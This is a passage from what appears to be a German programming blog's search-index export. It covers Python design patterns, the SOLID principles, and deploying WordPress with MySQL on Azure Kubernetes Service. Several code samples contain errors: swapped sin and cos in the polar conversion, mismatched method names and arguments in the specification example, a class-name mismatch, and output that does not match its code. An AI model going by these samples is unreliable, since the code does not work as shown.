ein, wenn du vermutest, dass eine bestimmte Objektkonfiguration öfters vorkommen wird. Üblicherweise ist eine Fabrikmethode eine normale Methode die ein fertig konfiguriertes Objekt zurückliefert. Das kann auch mit einem Builder zusammen funktionieren.\nIndem du mehrere Fabrikmethoden bereitstellst, kannst du das Objekt mit mehreren unterschiedlichen Konfigurationen erstellen, ohne einen komplizierten Konstruktor zu haben.\nMit folgender Klasse kannst du einen Punkt in einem Koordinatensystem beschreiben. Die zwei meistgenutzten Systeme sind die kartesischen Koordinaten und die Polarkoordinaten.\nWenn du versuchst beide Systeme mit dem Konstruktor abzudecken wirst du mit den Parameternamen durcheinander kommen: Beim kartesischen System benutzt man x für die x-Achse und y für die y-Achse. Beim Polarsystem benutzt man hingegen Rho für die Entfernung zur Mitte und Theta für den Winkel. Im __init__() musst du dich allerdings für eines der beiden Benennungssysteme entscheiden.\nDie Fabrikmethode schafft Abhilfe, indem einfach eine neue statische Methode für jede der Varianten bereitgestellt wird die das neue Objekt erzeugt und zurückgibt.\nfrom math import sin, cos class Point: def __str__(self): return f\u0026#34;x: {self.x}, y: {self.y}\u0026#34; def __init__(self, a, b): self.x = a self.y = b @staticmethod def new_cartesian_point(x, y): return Point(x, y) @staticmethod def new_polar_point(rho, theta): return Point(rho * sin(theta), rho * cos(theta)) if __name__ == \u0026#34;__main__\u0026#34;: p1 = Point.new_cartesian_point(1, 2) p2 = Point.new_polar_point(5, 7) print(p1) print(p2) x: 1, y: 2\rx: 3.2849329935939453, y: 3.769511271716523 Das Factory Method Pattern ist schnell umgesetzt. Aber vor allem mit wachsender Anzahl an Fabrikmethoden verstößt es gegen das Single Responsibility Principle.\nDeswegen solltest du überlegen, ob du deine Fabrikmethoden auch in eine eigene Klasse schreiben kannst. Im Zweifelsfall kannst du einfach all deine Fabrikmethoden in einer Fabrikklasse bündeln.\nimport Point class PointFactory: @staticmethod def new_cartesian_point(x, y): return Point(x, y) @staticmethod def new_polar_point(rho, theta): return Point(rho * sin(theta), rho * cos(theta)) if __name__ == \u0026#34;__main__\u0026#34;: p = PointFactory.new_cartesian_point(1, 2) print(p) x: 1, y: 2 3. Prototype Pattern “A partially or fully initialized object that you copy (clone) and make use of.” - Dmitri Nesteruk\nDas Prototype Pattern (dt. Prototyp) kannst du verwenden, um Objekte zu bauen die anderen, bereits existierenden Objekten ähneln. Das hat vor allem dann einen Vorteil, wenn du Objekte benutzt die bei der Erstellung sehr Rechen- oder Code intensiv sind.\nIn Python kannst du das umsetzen, indem du das gewünschte Quellobjekt mithilfe des copy Moduls kopierst.\nimport copy class Address: def __init__(self, street_address, city, country): self.country = country self.city = city self.street_address = street_address def __str__(self): return f\u0026#34;{self.street_address}, {self.city}, {self.country}\u0026#34; class Person: def __init__(self, name, address): self.name = name self.address = address def __str__(self): return f\u0026#34;{self.name} lives at {self.address}\u0026#34; john = Person(\u0026#34;John\u0026#34;, Address(\u0026#34;123 London Road\u0026#34;, \u0026#34;London\u0026#34;, \u0026#34;UK\u0026#34;)) print(john) jane = copy.deepcopy(john) jane.name = \u0026#34;Jane\u0026#34; jane.address.street_address = \u0026#34;124 London Road\u0026#34; print(john) print(jane) John lives at 123 London Road, London, UK\rJohn lives at 123 London Road, London, UK\rJane lives at 124 London Road, London, UK In der Praxis kannst du diese Technik einsetzen, um Objekte zu erstellen, schon bevor du die genauen Spezifikationen des Objekts kennst. Zum Beispiel kann ein Webserver den Prototyp einer Seite bauen während er auf die Anfrage wartet. Sobald dann die entsprechende Anfrage mit den genauen Spezifikationen kommt, macht er einfach eine Kopie des Prototyps, ändert die zuvor unbekannten Daten ab und liefert die geänderte Kopie aus. Das kannst du übrigens auch gut mit dem Factory Method Pattern kombinieren und eine Fabrik erstellen die einen fertigen Prototypen zurückliefert.\n4. Singleton Pattern “A component which is instantiated only once.” - Dmitri Nesteruk\nDas Singleton Pattern ist sehr umstritten. Laut Erich Gamma bedeutet der Einsatz dieses Pattern, dass deine Architektur an irgendeiner Stelle stinkt. Aber trotzdem - oder gerade deswegen - ist es sinnvoll zumindest zu wissen wie das Singleton Pattern aussieht.\nWann wird das Singleton Pattern eingesetzt?\nFür manche Klassen kann es Sinn ergeben, dass sie nur ein einziges Mal initialisiert werden. Das können zum einen Klassen sein, die du nicht mehrmals im System haben willst (Datenbanken, Objektfabriken etc.). Zum anderen können das Klassen sein, bei denen der Initialisierungsprozess teuer ist.\nDas Singleton hat das Ziel sicherzustellen, dass die jeweilige Klasse nur ein einziges Mal initialisiert werden kann. Das kannst du zum Beispiel mit einem Python Decorator umsetzen.\ndef singleton(class_): instances = {} def get_instance(*args, **kwargs): if class_ not in instances: instances[class_] = class_(*args, **kwargs) return instances[class_] return get_instance @singleton class Database: def __init__(self): print(\u0026#34;Loading database\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: d1 = Database() d2 = Database() print(d1 == d2) print(d1 is d2) Loading database\rTrue\rTrue Alternativ zur Implementation mithilfe des Decorators kannst du natürlich auch eine Metaklasse schreiben und Database davon erben lassen. Das Prinzip bleibt gleich.\n","permalink":"https://quisl.de/b/creational-design-patterns-builder-factorymethod-prototype-singleton/","summary":"Python überzeugt mit schneller Erlernbarkeit und einem breiten Einsatzgebiet. Genau das sind auch die Gründe, weswegen Python gerne in wissenschaftlichen Fachgebieten wie Data Science oder Machine Learning eingesetzt wird.\nWir Pythonentwickler sind dafür bekannt schnell etwas zum Laufen zu bringen. Nichtsdestotrotz sind viele von uns auch dafür bekannt Code zu schreiben der nicht Ideal auf große Projekte skaliert und früher oder später schwer zu warten wird. Dieses Problem haben im Grunde genommen alle Programmiersprachen.","title":"Creational Design Patterns Builder Factorymethod Prototype Singleton"},{"content":"WordPress ist das meistgenutzte Content-Management-System im Internet. Warum du es benutzen und - nach Möglichkeit - selbst hosten solltest, kannst du hier nachlesen.\nIn diesem Tutorial lernst du, wie du WordPress auf deinem Azure Kubernetes Service Cluster manuell zum Laufen bringst. Alternativ zu dieser manuellen Methode kannst du natürlich auch das Helm Chart von Bitnami verwenden um WordPress automatisch zu deployen.\nViel Spaß!\nSchritt #1 vorbereiten des Cluster Den Kubernetes Cluster sowie das Tool kubectl solltest du schon eingerichtet haben. Schau dir dazu am besten den Beitrag über das Anlegen eines AKS Clusters an.\nFerner gehe ich in diesem Beitrag davon aus, dass du bereits einen Ingress Controller mit Certificate Issuer einsetzt. Was das ist, kannst du hier nachlesen.\nUm deinen Cluster gut zu strukturieren, solltest du für dieses Projekt einen Namespace anlegen. In diesem Fall bietet sich der Name \u0026ldquo;wordpress-ns\u0026rdquo; an. Dazu legst du eine neue Datei \u0026ldquo;namespace.yaml\u0026rdquo; an.\napiVersion: v1 kind: Namespace metadata: name: wordpress-ns Schritt #2 Bereitstellen eines persistenten Volumes Um ein persistentes Volume im Deployment verwenden zu können musst du es zunächst anlegen. Das Erstellen von persistenten Volumes ist auf Kubernetes Clustern nicht ganz einfach da hierfür mehreren Komponenten angelegt werden müssen.\nFür dieses Projekt reicht es, wenn du zwei Ansprüche auf persistente Volumes auf einer managed Disk erzeugst. Das eine für den WordPress Container und das andere für den MySQL Container.\nLege eine neue Datei \u0026ldquo;persistentVolumeclaims.yaml\u0026rdquo; an und kopiere folgenden Inhalt hinein.\napiVersion: v1 kind: PersistentVolumeClaim metadata: name: wordpress-pv-cm labels: app: wordpress spec: accessModes: - ReadWriteOnce resources: requests: storage: 20Gi storageClassName: default --- apiVersion: v1 kind: PersistentVolumeClaim metadata: name: mysql-pv-cm labels: app: wordpress spec: accessModes: - ReadWriteOnce resources: requests: storage: 20Gi storageClassName: default Ich habe die Speicherklasse default mit 20 Gigabyte verwendet. Dies ist eine spezielle Speicherklasse für AKS.\nDamit du besser verstehst, was das bedeutet und um einen kurzen Überblick zu geben, gehe ich noch auf die einzelnen Komponenten von persistenten Volumes bei Kubernetes ein. Dieses Hintergrundwissen kann sinnvoll sein, wenn du darüber nachdenkst auf einen anderen Cloudanbieter zu wechseln.\nWenn dich das nicht interessiert dann mach einfach bei Schritt #3 weiter.\nWas ist eine Speicherklasse (storage class) In der Speicherklasse wird die Art des Volumes definiert. Kubernetes weiß anhand der Speicherklasse wie es das jeweilige Volume Claim handhaben soll. Typische Speicherklassen sind der lokale Speicher, ISCI, Cloudproviderspezifische Storages oder einfache Netzwerkfreigaben über NFS.\nGlücklicherweise bietet Microsoft auf dem AKS Cluster vordefinierte Speicherklassen an mit denen Kubernetes das Anlegen der jeweiligen Azure Ressourcen übernimmt. Diese umfassen aktuell die managed Disks (default / managed-premium) sowie Azure Storage per SMB Schnittstelle (azurefile / azurefile-premium).\nDabei ist anzumerken, dass bei diesen 4 vordefinierten Speicherklassen die Storages von Kubernetes zwar angelegt, aber nicht wieder gelöscht werden. Da dies Fluch und Segen zugleich sein kann, solltest du es auf jeden Fall im Hinterkopf behalten.\nMehr zu dem Thema Speicherklassen auf Azure findest du in den Microsoft Docs. Informationen über Speicherklassen im Allgemeinen findest du in der offiziellen Kubernetes Dokumentation.\nWas ist ein persistentes Volume (persistent volume) Persistente Volumes sind dazu da, um Daten zwischen Pods auszutauschen. Sie bleiben bestehen auch, wenn der dazugehörige Pod gelöscht wird. Ähnlich wie Nodes sind sie Clusterressourcen.\nDu kannst ein persistentes Volume manuell erzeugen oder - wie oben - über eine Storage Klasse dynamisch erzeugen lassen. Beim dynamischen Erzeugen übernimmt Kubernetes die Details der Implementation direkt von der Storage Class.\nWas ist ein Anspruch auf ein persistentes Volume (persistent volume claim) Mit Ansprüchen auf persistenten Volumes grenzt Kubernetes in abstrakter Form Storage Ressourcen ab. Du kannst dir das so vorstellen, dass sich der Anspruch zu einem persistenten Volume so verhält wie ein Ordner zu einem Dateisystem.\nDieser Aufbau hat den Hintergrund, dass Appentwickler nicht unbedingt wissen müssen wie ein Volume im Hintergrund implementiert ist. Es reicht, wenn sie einen Anspruch auf ein persistentes Volume stellen und sich darauf verlassen können, dass es funktioniert.\nSchritt #3 Anlegen der Deployments In diesem Projekt brauchst du nur zwei Container. Einen WordPress Container für das Frontend und einen MySQL Container für das Backend.\nErstellen des MySQL Deployments Ich verwende hier MySQL 5.7. Du kannst natürlich die jeweils aktuellste Version benutzen. Achte aber darauf, dass nicht alle WordPress Versionen mit allen MySQL Versionen funktionieren. Genauere Informationen hierzu findest du bei WordPress.com.\nFür das MySQL Deployment legst du eine neue Datei \u0026ldquo;mysqldeployment.yaml\u0026rdquo; an.\napiVersion: apps/v1 kind: Deployment metadata: name: wordpress-mysql labels: app: wordpress spec: selector: matchLabels: app: wordpress tier: mysql strategy: type: Recreate template: metadata: labels: app: wordpress tier: mysql spec: containers: - image: mysql:5.7 name: mysql args: - \u0026#34;--ignore-db-dir\u0026#34; - \u0026#34;lost+found\u0026#34; env: - name: MYSQL_ROOT_PASSWORD valueFrom: secretKeyRef: name: wordpresssecret key: MYSQL_ROOT_PASSWORD ports: - containerPort: 3306 name: mysql volumeMounts: - name: mysql-persistent-store mountPath: \u0026#34;/var/lib/mysql\u0026#34; volumes: - name: mysql-persistent-store persistentVolumeClaim: claimName: mysql-pv-cm Dieses Deployment verwendet das eben erstellte Persistent Volume Claim mysql-pv-cm sowie ein Secret das du in Schritt #6 erstellen wirst.\nErstellen des WordPress Deployments Der WordPress Container greift ebenfalls auf das Secret zu und bekommt das andere Persistente Volume Claim zugewiesen. Falls du noch weitere Veränderungen am Container vornimmst, solltest du darauf achten, dass in diesem Beispiel nur der Ordner \u0026ldquo;/var/www/html\u0026rdquo; persistent gespeichert wird.\nErstelle eine Datei mit dem Namen \u0026ldquo;wordpressdeployment.yaml\u0026rdquo;.\napiVersion: apps/v1 # for versions before 1.9.0 use apps/v1beta2 kind: Deployment metadata: name: wordpress labels: app: wordpress spec: selector: matchLabels: app: wordpress tier: frontend strategy: type: Recreate template: metadata: labels: app: wordpress tier: frontend spec: containers: - image: wordpress:5.7 name: wordpress env: - name: WORDPRESS_DB_HOST value: mysqlservice:3306 - name: WORDPRESS_DB_USER value: root - name: WORDPRESS_DB_PASSWORD valueFrom: secretKeyRef: name: wordpresssecret key: MYSQL_ROOT_PASSWORD ports: - containerPort: 80 name: wordpress volumeMounts: - name: wordpress-persistent-storage mountPath: \u0026#34;/var/www/html\u0026#34; volumes: - name: wordpress-persistent-storage persistentVolumeClaim: claimName: wordpress-pv-cm Schritt #4 Anlegen der Kubernetes Services In diesem Projekt benötigst du zwei Services. Der Erste für MySQL auf Port 3306. Dieser braucht keine ClusterIP da du ihn mit dem Label ansprichst. Der Zweite für WordPress mit Port 443 und Port 80. Diesen Service benötigst du im nächsten Schritt beim Ingress Regelsatz.\nUm die Services anzulegen, erstellst du eine Datei mit dem Namen \u0026ldquo;services.yaml\u0026rdquo;.\napiVersion: v1 kind: Service metadata: name: mysqlservice labels: app: wordpress tier: mysql spec: ports: - port: 3306 selector: app: wordpress clusterIP: None --- apiVersion: v1 kind: Service metadata: name: wordpress spec: type: ClusterIP ports: - port: 80 targetPort: 80 name: http protocol: TCP - port: 443 targetPort: 443 name: https protocol: TCP selector: app: wordpress tier: frontend Schritt #5 Anlegen von Ingressregeln Der Ingress Controller benutzt Ingressregeln, um einkommende Datenströme weiterzuleiten.\nFolgende Regeln leiten alle Anfragen die auf diese URL gehen zum Service wordpress den du im vorherigen Schritt konfiguriert hast. Vor dem Weiterleiten wird das SSL Handling vom Ingress Controller übernommen, sodass der WordPress Container nur auf Port 80 lauschen muss.\nAnstelle von ENTERURLHERE musst du natürlich deine eigene URL eingeben.\napiVersion: networking.k8s.io/v1beta1 kind: Ingress metadata: name: wordpress-ingress annotations: kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/rewrite-target: /$1 nginx.ingress.kubernetes.io/use-regex: \u0026#34;true\u0026#34; cert-manager.io/cluster-issuer: letsencrypt spec: tls: - hosts: - ENTERURLHERE - www.ENTERURLHERE secretName: tls-secret rules: - host: ENTERURLHERE http: paths: - backend: serviceName: wordpress servicePort: 80 path: /(.*) - host: www.ENTERURLHERE http: paths: - backend: serviceName: wordpress servicePort: 80 path: /(.*) Weil ich die Adresse sowohl mit als auch ohne \u0026ldquo;www\u0026rdquo; benutzen möchte verwende ich hier 2 Regeln. Eine mit www und eine ohne. WordPress leitet in beiden Fällen auf die gewünschte Variante selbstständig um.\nSchritt #6 Deployen der ganzen App Jetzt fehlt nur noch eine Passwortdatei für den MySQL Container. Erstelle dazu die Datei \u0026ldquo;.password.txt\u0026rdquo;.\nMYSQL_ROOT_PASSWORD=HIERPASSWORTEINGEBEN Hast du die ganzen Dateien erstellt müssen sie nur noch in den Cluster Deployt werden. Dazu kannst du folgendes Windows Bat Script verwenden.\nkubectl apply -f .\\namespace.yaml for /f \u0026#34;delims=\u0026#34; %%a in (.password.txt) do set %%a kubectl delete secret wordpresssecret --ignore-not-found -n wordpress-ns kubectl create secret generic wordpresssecret --from-literal=MYSQL_ROOT_PASSWORD=%MYSQL_ROOT_PASSWORD% -n wordpress-ns kubectl apply -f .\\storageclass.yaml -n wordpress-ns kubectl apply -f .\\persistentvolumeclaims.yaml -n wordpress-ns kubectl apply -f .\\services.yaml -n wordpress-ns kubectl apply -f .\\mysqldeployment.yaml -n wordpress-ns kubectl apply -f .\\wordpressdeployment.yaml -n wordpress-ns kubectl apply -f .\\wordpressingress.yaml --namespace wordpress-ns ","permalink":"https://quisl.de/b/wie-du-wordpress-auf-azure-kubernetes-services-installierst-manuelles-deployment-in-6-schritten/","summary":"WordPress ist das meistgenutzte Content-Management-System im Internet. Warum du es benutzen und - nach Möglichkeit - selbst hosten solltest, kannst du hier nachlesen.\nIn diesem Tutorial lernst du, wie du WordPress auf deinem Azure Kubernetes Service Cluster manuell zum Laufen bringst. Alternativ zu dieser manuellen Methode kannst du natürlich auch das Helm Chart von Bitnami verwenden um WordPress automatisch zu deployen.\nViel Spaß!\nSchritt #1 vorbereiten des Cluster Den Kubernetes Cluster sowie das Tool kubectl solltest du schon eingerichtet haben.","title":"Wie du WordPress auf Azure Kubernetes Service installierst - Manuelles deployment in 6 Schritten"},{"content":"Lesbare Funktionen, Methoden und Klassen schreiben zu können ist eine Sache. Aber wie bekommst du deinen Code wartbar, flexibel erweiterbar und testbar hin?\nIn diesem Beitrag geht es um die S.O.L.I.D Designprinzipien. Wobei SOLID für die Anfangsbuchstaben der folgenden beliebten Designprinzipien für objektorientierte Softwareentwicklung stehen:\nSingle Responsibility Principle 2) Open/Closed Principle 3) Liskov Substitution Principle 4) Interface Segregation Principle 5) Dependency Inversion Principle Diese Prinzipien wurden übrigens von Robert C. Martin entworfen und in seinen Büchern vorgestellt:\n\u0026ldquo;Clean Architecture\u0026rdquo; (978-0134494166) \u0026ldquo;Agile Principles, Patterns, and Practices in C#\u0026rdquo; (978-0131857254) \u0026ldquo;Agile Software Development\u0026rdquo; (978-0135974445) Dabei haben alle 5 SOLID Prinzipien das Ziel den Anforderungen von ewig wachsenden Code zu genügen. Dementsprechend sollen sie einen Code mit geringer Komplexität gewährleisten. Folglich machen wir heute einen Abstecher in die Softwarearchitektur bzw. ins Softwaredesign.\nViel Spaß!\nSingle Responsibility Principle (SRP) “There should never be more than one reason for a class to change.” - Robert C. Martin: Agile Software Development: Principles, Patterns, and Practices\nDas erste Prinzip heißt Single Responsibility (SRP), seltener auch Seperation of Concerns (SOC). Zu Deutsch: das Prinzip der eindeutigen Verantwortlichkeit. Die Idee ist relativ einfach. Eine Klasse sollte nur für eine einzige primäre Aufgabe verantwortlich sein. Anders formuliert darf sie keine Aufgaben übernehmen die auch in eine eigene Klasse geschrieben werden könnten.\nBeispiel Um das Ganze anfangs besser zu verstehen gucken wir uns folgende einfache Koffersimulation in Python an.\nclass Suitcase: \u0026#34;\u0026#34;\u0026#34;Beschreibt Kofferobjekte\u0026#34;\u0026#34;\u0026#34; def __init__(self): self.items = [] self.count = 0 def add_item(self, item): \u0026#34;\u0026#34;\u0026#34;Fügt einen Gegenstand zum Koffer hinzu\u0026#34;\u0026#34;\u0026#34; self.count += 1 self.items.append(f\u0026#34;{self.count}: {item}\u0026#34;) def __str__(self): \u0026#34;\u0026#34;\u0026#34;Gibt den Kofferinhalt als String aus\u0026#34;\u0026#34;\u0026#34; return \u0026#34;\\n\u0026#34;.join(self.items) Ausgeführt sieht das ganze so aus.\ns1 = Suitcase() s1.add_item(\u0026#34;Toothbrush\u0026#34;) print(s1) 1: Toothbrush Jetzt könnten allerdings neue Anforderungen an dieses Programm kommen. Etwa ein Persistenzmanagement. Also die Möglichkeit den Kofferinhalt in Dateien speichern und später laden zu können.\nDer direkte Ansatz ist noch zwei weitere Methoden zu schreiben die diese Aufgaben übernehmen.\ndef save(self, filename): \u0026#34;\u0026#34;\u0026#34;Speichert den Kofferinhalt in eine Datei\u0026#34;\u0026#34;\u0026#34; file = open(filename, \u0026#34;w\u0026#34;) file.write(str(self)) file.close() def load(self, filename): \u0026#34;\u0026#34;\u0026#34;Fügt dem Kofferinhalt Einträge aus einer Datei hinzu\u0026#34;\u0026#34;\u0026#34; file = open(filename, \u0026#34;r\u0026#34;) for item in file.readlines(): self.items.append(item) file.close() Wie folgt, führt man das obige Script aus.\ns1 = Suitcase() s1.add_item(\u0026#34;Toothbrush\u0026#34;) s1.add_item(\u0026#34;Tshirt\u0026#34;) s1.save(\u0026#34;suitcasefile\u0026#34;) s2 = Suitcase() s2.load(\u0026#34;suitcasefile\u0026#34;) print(s1) print(\u0026#34;\\n\u0026#34;) print(s2) 1: Toothbrush\r2: Tshirt\r1: Toothbrush\r2: Tshirt Problem Dieser direkte Ansatz ist schnell umgesetzt. Aber, wenn man mal darüber nachdenkt, hat das Handling von Dateien nicht wirklich etwas mit einem Koffer zu tun.\nNicht gut!\nWarum ist das schlimm?\nDie SOLID Designprinzipien gehen von einer großen Codebasis aus. Deswegen ist es wahrscheinlich dass du neben der Suitcase Klasse noch weitere klassen hast. Diese werden früher oder später auch eine load/save klasse brauchen. Anschließend müsstest du dann in all diesen Klassen einzeln implementieren.\nDas Schlimmste daran: Möglicherweise willst du nicht immer alles in Dateien Speichern. Dinge in Datenbanken zu speichern ist ebenfalls eine gute Idee. Bei einem Wechsel müsstest du die Änderung dann in allen load und save Methoden umsetzen. Dieses Vorgehen ist mit Aufwand verbunden. Somit führt dieser Ansatz zu einem mühsam wartbaren Code.\nLösung Eine bessere Lösung wäre es eine separate Klasse für das Persistenzhandling bzw. dem Speichern und Laden zu erstellen.\nclass PersistenceManager: @staticmethod def save(obj, filename): \u0026#34;\u0026#34;\u0026#34;Speichert den Objektinhalt in eine Datei\u0026#34;\u0026#34;\u0026#34; file = open(filename, \u0026#34;w\u0026#34;) file.write(str(obj)) file.close() @staticmethod def load(obj, filename): \u0026#34;\u0026#34;\u0026#34;Fügt dem Objektinhalt Einträge aus einer Datei hinzu\u0026#34;\u0026#34;\u0026#34; file = open(filename, \u0026#34;r\u0026#34;) for item in file.readlines(): obj.items.append(item) file.close() Diesen Persistenzmanager benutzt man wie folgt.\ns1 = Suitcase() s1.add_item(\u0026#34;Toothbrush\u0026#34;) s1.add_item(\u0026#34;Tshirt\u0026#34;) PersistenceManager.save(s1,\u0026#34;suitcasefile\u0026#34;) s2 = Suitcase() PersistenceManager.load(s2, \u0026#34;suitcasefile\u0026#34;) print(s1) print(\u0026#34;\\n\u0026#34;) print(s2) 1: Toothbrush\r2: Tshirt\r1: Toothbrush\r2: Tshirt Du musst nur darauf achten, dass die Klassen vom Persistenzmanager gespeichert und geladen werden können.\nWir halten fest: Beim Prinzip der eindeutigen Verantwortung versucht man den einzelnen Klassen möglichst wenig Verantwortungsbereiche zu geben.\nIm Gegenzug dazu gibt es auch Anti-Pattern namens God-Object. Dies ist ein typischer Programmieranfängerfehler, bei dem einfach alle Methoden einfach in dieselbe Klasse gelegt wird. Diese wird dann am Ende undurchschaubar groß und schwer zu warten.\nLaut dem Single Reponsibility Prinzip sollte es nur einen Grund geben eine Klasse zu ändern. Nämlich, wenn diese Änderung in direkter Relation zur Primärverantwortlichkeit der jeweiligen Klasse ist.\nOpen/Closed Principle (OCP) “Modules should be both open (for extension) and closed (for modification).” – Bertrand Meyer: Object Oriented Software Construction\nIn diesem Prinzip geht es um die Erweiterung der Funktionalität eines Moduls. Dabei steht Open für \u0026ldquo;Open for extension\u0026rdquo; und Closed für \u0026ldquo;Closed for modification\u0026rdquo;. Also offen für Erweiterungen, geschlossen für Modifikationen.\nNachdem du eine Klasse geschrieben und getestet hast solltet du sie nicht mehr Verändern müssen, um neue Funktionalität hinzuzufügen. Stattdessen solltest du sie erweitern.\nBeispiel Nehmen wir an du hast eine Klasse die Meerschweinchen beschreibt. Diese Meerschweinchen können Eigenschaften haben:\neinen Namen eine Farbe eine Größe Darüber hinaus gibt es eine Klasse, mit der du Meerschweinchen die eine bestimmten Farbe haben aus einer Liste herausfiltern kannst.\nfrom enum import Enum class Color(Enum): ORANGE= 1 RED = 2 WHITE = 3 class Size(Enum): SMALL = 1 MEDIUM = 2 LARGE = 3 class Guinea_Pig: def __init__(self,name, color, size): self.name = name self.color = color self.size = size class Guinea_Pig_Filter: def filter_by_color(self, guinea_pigs, color): for guinea_pig in guinea_pigs: if guinea_pig.color == color: yield guinea_pig Das filtern läuft dann wie folgt ab.\nguinea_pig_1 = Guinea_Pig(\u0026#34;Lissie\u0026#34;, Color.ORANGE, Size.SMALL) guinea_pig_2 = Guinea_Pig(\u0026#34;Gustav\u0026#34;, Color.WHITE, Size.MEDIUM) guinea_pig_3 = Guinea_Pig(\u0026#34;Maxi\u0026#34;, Color.ORANGE, Size.LARGE) guinea_pig_list = [guinea_pig_1, guinea_pig_2, guinea_pig_3] print(\u0026#34;All guinea pigs:\u0026#34;) for pig in guinea_pig_list: print(pig.name) orange_pig_pist = Guinea_Pig_Filter.filter_by_color( guinea_pigs=guinea_pig_list, color=Color.ORANGE ) print(\u0026#34;\\nOrange guinea pigs:\u0026#34;) for pig in orange_pig_pist: print(pig.name) All guinnea pigs:\rLissie\rGustav\rMaxi\rOrange guinnea pigs:\rLissie\rMaxi Jetzt könnte eine neue Anforderung dazu kommen: Nach Größe filtern. Ein denkbarer Ansatz wäre eine zweite Filtermethode in die Filterklasse zu schreiben.\ndef filter_by_size(self, guinea_pigs, size): for guinea_pig in guinea_pigs: if guinea_pig.size == size: yield guinea_pig Zum einen wiederholt sich ein großer Teil des Filtercodes. Zum anderen haben wir durch diesen Ansatz das Open/Closed Prinzip verletzt.\nClosed for modification bedeutet, dass nachdem man eine Klasse nicht mehr verändern sollte, nachdem man sie geschrieben hat.\nNicht gut!\nProblem Was als Nächstes passieren könnte wäre, dass du noch eine Funktion brauchst die gleichzeitig nach Farbe und nach Größe filtert. Zack, schon hast du 3 Methoden nur zum Filtern dieser zwei Eigenschaften.\nLeider haben Meerschweinchen in der Echten Welt noch mehr Eigenschaften. Eines davon wäre das Lieblingsfutter. Damit hättest du bei 3 Eigenschaften bereits 7 mögliche Filterkombinationen die alle eine eigene Methode bräuchten. Wenn du es noch weiter denkt, hast du bei 8 Eigenschaften schon 255 Filtermethoden. Diese Methoden müsstest du natürlich alle von Hand implementieren.\nDer Informatiker spricht hier von einer state space explosion.\nLösung Die Lösung zu diesem Problem ist das Spezifikationsmuster oder Specification Pattern. Dieses Pattern entscheidet ob ein Objekt ein bestimmtes Kriterium erfüllt.\nIn Python erstellst du dazu einfach zwei weitere Klassen. Eine Specification und eine Filterklasse.\nfrom abc import ABC class Specification(ABC): def is_satisfied(self, item): pass class Filter(ABC): def filter(self, items, spec): pass Was wir damit erreichen wollen, ist, dass der Code mit Anzahl der Attribute steigt. Nicht mit der Anzahl der Attributkombinationen. Dazu schreiben wir nun für jede der Attribute, nach denen wir filtern wollen, eine weitere Klasse.\nDiese Klassen können von der oben definierten Specification Klasse erben.\nUm auch Kombinationen verwenden zu können habe ich noch eine UND Spezifikation hinzugefügt. Entsprechend dazu wäre theoretisch auch eine ODER Verknüpfung oder ähnliches denkbar.\nclass ColorSpecification(Specification): def __init__(self, color): self.color = color def is_specified(self, item): return item.color == self.color class SizeSpecification(Specification): def __init__(self, size): self.size = size def is_specified(self, item): return item.size == self.size class AndSpecification(Specification): def __init__(self, *args): self.args = args def is_satisfied(self,item): return all(map(lambda spec: spec.is_satisfied(item), self.args)) class BetterFilter(Filter): def filter(self, items, spec): for item in items: if spec.is_satisfied(item): yield item Wie benutzt du dieses kryptische Gebilde? Ganz einfach! Du schreibst wie gehabt deine Filterklasse. Dieses Mal verwendet sie allerdings die Spezifikationen.\nguinea_pig_1 = Guinea_Pig(\u0026#34;Lissie\u0026#34;, Color.ORANGE, Size.SMALL) guinea_pig_2 = Guinea_Pig(\u0026#34;Gustav\u0026#34;, Color.WHITE,Size.MEDIUM) guinea_pig_3 = Guinea_Pig(\u0026#34;Maxi\u0026#34;, Color.ORANGE, Size.LARGE) guinea_pig_list = [guinea_pig_1, guinea_pig_2, guinea_pig_3] bf = BetterFilter() orange = ColorSpecification(Color.ORANGE) small = ColorSpecification(Size.SMALL) small_orange = AndSpecification(small, orange) print(\u0026#34;Orangene Meerschweinchen:\u0026#34;) for p in bf.filter(guinea_pig_list, orange): print(f\u0026#34; - {p.name} ist Orange\u0026#34;) print(\u0026#34;Kleine Meerschweinchen:\u0026#34;) for p in bf.filter(guinea_pig_list, small): print(f\u0026#34; - {p.name} ist klein\u0026#34;) print (\u0026#34;Kleine, Orangene Meerschweinchen:\u0026#34;) for p in bf.filter(guinea_pig_list, small_orange): print(f\u0026#34; - {p.name} ist klein und Orange\u0026#34;) All guinnea pigs:\rLissie\rGustav\rMaxi\rOrange guinnea pigs:\rLissie\rMaxi Fazit: Beim Open/Closed Prinzip fügt man Funktionalität durch Erweitern hinzu, nicht durch Modifizieren.\nLiskov Substitution Principle (LSP) “Let q(x) be a property provable about objects x of type T. Then q(y) should be true for objects y of type S where S is a subtype of T.” – Barbara H. Liskov, Jeannette M. Wing: Behavioral Subtyping Using Invariants and Constraints\nDie Idee des Liskovschen Substitutionsprinzip ist wie folgt: Wenn du ein Interface hast das du mit einer Basisklasse benötigt, solltest du dieses Interface auch mit einer von dieser Basisklasse abgeleiteten Klasse benutzen können.\nBeispiel In diesem Kapitel zeige ich einen Verstoß gegen dieses Prinzip. Dazu verwende ich eine Klasse, die ein Rechteck beschreibt. Dann erstelle ich eine Quadratklasse, indem ich von der Rechteckklasse erbe und sie so verändere, dass sie sich wie ein Quadrat verhält.\nAnschließend sieht man, dass nun Aufrufe, die bei der Rechteckklasse noch funktioniert, haben nicht mehr mit der Quadratklasse funktionieren, obwohl sie von ersterer abgeleitet wurde.\nSoweit so gut. Zunächst definiere ich die Rechteckklasse mit getter und setter für die Attribute sowie die area Property für die Flächenberechnung.\nclass Rechteck def __init__(self, width, height): self._width = width self._height = height @property def area(self): return self._width * self._height def __str__(self): return f\u0026#34;Width: {self._width}, Height:{self._height}\u0026#34; @property def width(self): return self._width @width.setter def width(self, value): self._width = value @property def height(self): return self._height @height.setter def height(self, value): self._height = value So benutzt man dieses Programm.\ndef test(rc): \u0026#34;\u0026#34;\u0026#34;This function sets the height to 10, multiplies the width by 10 and checks the resulting area for correctness.\u0026#34;\u0026#34;\u0026#34; w = rc.width rc.height = 10 expected = int(w*10) print(f\u0026#34;Expected an area of {expected}, got {rc.area}\u0026#34;) rc = Rectangle(2,3) test(rc) Expected an area of 20, got 20 Als Nächstes kommt die problematische Klasse für Quadrate hinzu. Diese erbt von Rectangle.\nclass Square(Rectangle): def __init__(self,size): Rectangle.__init__(self, size, size) @Rectangle.width.setter def width(self, value): self._width = self._height = value @Rectangle.height.setter def height(self, value): self._width = self._height = value Was passiert, wenn man jetzt genau dieselbe Funktion wie oben verwendet? Seht her.\ndef test(rc): w = rc.width 